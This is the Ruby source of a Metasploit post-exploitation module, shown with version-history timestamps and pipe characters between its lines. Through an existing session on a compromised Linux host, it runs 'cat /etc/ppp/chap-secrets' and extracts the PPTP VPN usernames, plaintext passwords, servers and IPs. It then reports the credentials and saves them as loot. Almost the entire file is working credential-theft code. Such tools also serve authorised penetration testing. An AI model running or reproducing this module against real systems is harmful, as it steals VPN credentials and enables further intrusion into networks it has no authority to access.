2013-01-28 22:23:26 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',
|
|
|
|
'Description' => %q{
|
|
|
|
This module collects PPTP VPN information such as client, server, password,
|
|
|
|
and IP from your target server's chap-secrets file.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sinn3r'],
|
|
|
|
'Platform' => [ 'linux' ],
|
|
|
|
'SessionTypes' => [ "shell", "meterpreter" ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Reads chap_secrets
|
|
|
|
#
|
|
|
|
def load_file(fname)
|
|
|
|
begin
|
|
|
|
data = cmd_exec("cat #{fname}")
|
|
|
|
rescue RequestError => e
|
|
|
|
print_error("Failed to retrieve file. #{e.message}")
|
|
|
|
data = ''
|
|
|
|
end
|
|
|
|
|
|
|
|
if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/
|
|
|
|
return :access_denied
|
|
|
|
elsif data =~ /\(No such file or directory\)$/
|
|
|
|
return :not_found
|
|
|
|
elsif data.empty?
|
|
|
|
return :empty
|
|
|
|
end
|
|
|
|
|
|
|
|
return data
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Extracts client, server, secret, and IP addresses
|
|
|
|
#
|
|
|
|
def extract_secrets(data)
|
|
|
|
tbl = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'PPTPd chap-secrets',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Client', 'Server', 'Secret', 'IP']
|
|
|
|
})
|
|
|
|
|
|
|
|
data.each_line do |l|
|
|
|
|
# If this line is commented out, ignore it
|
|
|
|
next if l =~ /^[[:blank:]]*#/
|
|
|
|
|
|
|
|
found = l.split
|
|
|
|
|
|
|
|
# Nothing is found, skip!
|
|
|
|
next if found.empty?
|
|
|
|
|
|
|
|
client = (found[0] || '').strip
|
|
|
|
server = (found[1] || '').strip
|
|
|
|
secret = (found[2] || '').strip
|
|
|
|
ip = (found[3,found.length] * ", " || '').strip
|
|
|
|
|
|
|
|
report_auth_info({
|
|
|
|
:host => session.session_host,
|
|
|
|
:port => 1723, #PPTP port
|
|
|
|
:sname => 'pptp',
|
|
|
|
:user => client,
|
|
|
|
:pass => secret,
|
|
|
|
:type => 'password',
|
|
|
|
:active => true
|
|
|
|
})
|
|
|
|
|
|
|
|
tbl << [client, server, secret, ip]
|
|
|
|
end
|
|
|
|
|
|
|
|
if tbl.rows.empty?
|
|
|
|
print_status("This file has no secrets: #{datastore['FILE']}")
|
|
|
|
else
|
|
|
|
print_line(tbl.to_s)
|
|
|
|
|
|
|
|
p = store_loot(
|
|
|
|
'linux.chapsecrets.creds',
|
|
|
|
'text/csv',
|
|
|
|
session,
|
|
|
|
tbl.to_csv,
|
|
|
|
File.basename(datastore['FILE'] + ".txt")
|
|
|
|
)
|
|
|
|
print_good("Secrets stored in: #{p}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
fname = datastore['FILE']
|
|
|
|
f = load_file(fname)
|
|
|
|
|
|
|
|
case f
|
|
|
|
when :access_denied
|
|
|
|
print_error("No permission to read: #{fname}")
|
|
|
|
when :not_found
|
|
|
|
print_error("Not found: #{fname}")
|
|
|
|
when :empty
|
|
|
|
print_status("File is actually empty: #{fname}")
|
|
|
|
else
|
|
|
|
extract_secrets(f)
|
|
|
|
end
|
|
|
|
end
|
2013-01-28 22:23:26 +00:00
|
|
|
|
2013-08-29 18:37:50 +00:00
|
|
|
end
|